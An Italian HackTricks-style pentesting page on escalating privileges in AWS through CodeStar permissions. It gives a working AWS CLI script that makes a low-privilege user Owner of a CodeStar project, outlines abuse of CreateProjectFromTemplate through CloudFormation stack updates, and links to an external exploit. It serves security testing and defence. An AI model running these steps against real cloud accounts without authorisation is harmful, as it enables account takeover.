# AWS - Codestar Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Codestar

Puoi trovare ulteriori informazioni su codestar in:

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `iam:PassRole`, `codestar:CreateProject`

Con questi permessi puoi **abusare di un ruolo IAM di codestar** per eseguire **azioni arbitrarie** tramite un **template cloudformation**. Controlla la pagina seguente:

{{#ref}}
iam-passrole-codestar-createproject.md
{{#endref}}

### `codestar:CreateProject`, `codestar:AssociateTeamMember`

Questa tecnica utilizza `codestar:CreateProject` per creare un progetto codestar e `codestar:AssociateTeamMember` per rendere un utente IAM il **proprietario** di un nuovo **progetto** CodeStar, il che concederà loro una **nuova policy con alcuni permessi extra**.
```bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
```
Se sei già un **membro del progetto**, puoi utilizzare il permesso **`codestar:UpdateTeamMember`** per **aggiornare il tuo ruolo** a proprietario invece di `codestar:AssociateTeamMember`.

**Impatto Potenziale:** Privesc alla policy di codestar generata. Puoi trovare un esempio di quella policy in:

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `codestar:CreateProjectFromTemplate`

1. **Crea un Nuovo Progetto:**
- Utilizza l'azione **`codestar:CreateProjectFromTemplate`** per avviare la creazione di un nuovo progetto.
- Una volta creata con successo, l'accesso è automaticamente concesso per **`cloudformation:UpdateStack`**.
- Questo accesso è specificamente destinato a uno stack associato al ruolo IAM `CodeStarWorker-<generic project name>-CloudFormation`.
2. **Aggiorna lo Stack Target:**
- Con i permessi CloudFormation concessi, procedi ad aggiornare lo stack specificato.
- Il nome dello stack di solito seguirà uno dei due modelli:
- `awscodestar-<generic project name>-infrastructure`
- `awscodestar-<generic project name>-lambda`
- Il nome esatto dipende dal template scelto (riferendosi allo script di exploit di esempio).
3. **Accesso e Permessi:**
- Dopo l'aggiornamento, ottieni le capacità assegnate al **ruolo IAM CloudFormation** collegato allo stack.
- Nota: Questo non fornisce intrinsecamente privilegi di amministratore completi. Potrebbero essere necessarie ulteriori risorse mal configurate all'interno dell'ambiente per elevare ulteriormente i privilegi.

Per ulteriori informazioni, controlla la ricerca originale: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
Puoi trovare l'exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)

**Impatto Potenziale:** Privesc al ruolo IAM di cloudformation.

{{#include ../../../../banners/hacktricks-training.md}}
